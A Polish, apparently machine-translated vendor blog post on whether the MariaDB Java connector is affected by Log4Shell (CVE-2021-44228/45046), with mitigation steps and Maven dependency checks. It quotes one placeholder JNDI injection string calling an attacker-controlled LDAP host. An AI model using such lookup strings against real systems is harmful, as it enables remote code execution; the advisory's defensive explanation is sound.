Czy złącze MariaDB Java jest narażone na lukę w zabezpieczeniach wykrytą niedawno w Log4? Domyślnie łącznik Java nie używa Log4j. Jeśli jednak skonfigurowałeś go do korzystania z SLF4j, czytaj dalej.
Aby uzyskać informacje wykraczające poza zakres sterownika MariaDB JDBC, przeczytaj Log4Shell i MariaDB.
Uwaga :Ten blog został zaktualizowany 15.12.2021, aby zawierał szczegóły dotyczące CVE-2021-45046.
Luka w Log4j
Apache Log4j to popularna platforma rejestrowania typu open source dla aplikacji Java. Jest używany w różnych projektach typu open source i korporacyjnych, w tym u dostawców chmury i dostawców usług poczty e-mail. 9 grudnia 2021 r. w Log4j wykryto lukę 0-day, która może spowodować zdalne wykonanie kodu, umożliwiając hakerowi wykonanie dowolnego kodu w systemie. Luka jest znana jako „Log4Shell” i jest śledzona jako CVE-2021-44228.
Krótko mówiąc, luka umożliwia atakującemu wstrzyknięcie ciągu wyszukiwania JNDI, który wywołuje na przykład zdalny serwer LDAP (kontrolowany przez atakującego), który z kolei zwraca złośliwą klasę Java:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
Jeśli taki ciąg znaków jest rejestrowany przez Log4j, złośliwa klasa Javy może uruchomić dowolny kod (na przykład poprzez statyczny blok kodu).
Wersje, których dotyczy problem
Na szczęście dotyczy to tylko wersji Log4j 2.x przed 2.15.0. Więcej informacji można znaleźć na stronie z lukami bezpieczeństwa Apache Log4j. Luka nie występuje w Log4j w wersji 1.x.
Jak złagodzić CVE-2021-44228
Najlepszą strategią złagodzenia tej luki jest aktualizacja zależności Log4j w projektach. Wersja 2.16.0, która usuwa wyszukiwanie wiadomości, jest już dostępna. Rekwizyty dla zespołu za szybkie uwolnienie tego.
Aktualizacja :Log4j 2.16.0 naprawia również drugą lukę śledzoną jako CVE-2021-45046.
Sterownik MariaDB JDBC nie używa Log4j 2.x. Obsługuje jednak SLF4J. Sprawdź, czy używasz bindera Log4j dla SLF4J, a jeśli tak, zaktualizuj odpowiednio Log4j lub ustaw następującą zmienną konfiguracyjną:
-Dlog4j2.formatMsgNoLookups=true
Lub ustaw następującą zmienną środowiskową:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Uwaga :Rejestrowanie jest włączone tylko wtedy, gdy zostało wyraźnie ustawione przez log
parametr. Oprócz Log4j możesz również wybrać inne powiązania SLF4J, takie jak Jakarta Commons Logging, Logback lub Java Logging API.
Jeśli używasz Mavena, możesz uruchomić następujące polecenie, aby dowiedzieć się, czy Twój projekt jest zależny od Log4j:
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
Oto przykład rodzaju danych wyjściowych, które otrzymasz w podatnym projekcie:
Jeśli z jakiegoś powodu Twój projekt się nie kompiluje, możesz alternatywnie uruchomić:
mvn help:effective-pom
Wyszukaj log4j-core
zależność i sprawdź używaną wersję.
Dodatkowe informacje
Lista linków na blogu:
- Złącze MariaDB Java
- SLF4j
- Powiązany blog Log4Shell i MariaDB
- CVE-2021-44228
- Luki bezpieczeństwa Apache Log4j
- Apache Log4j wersja 2.16.0
-
log
parametr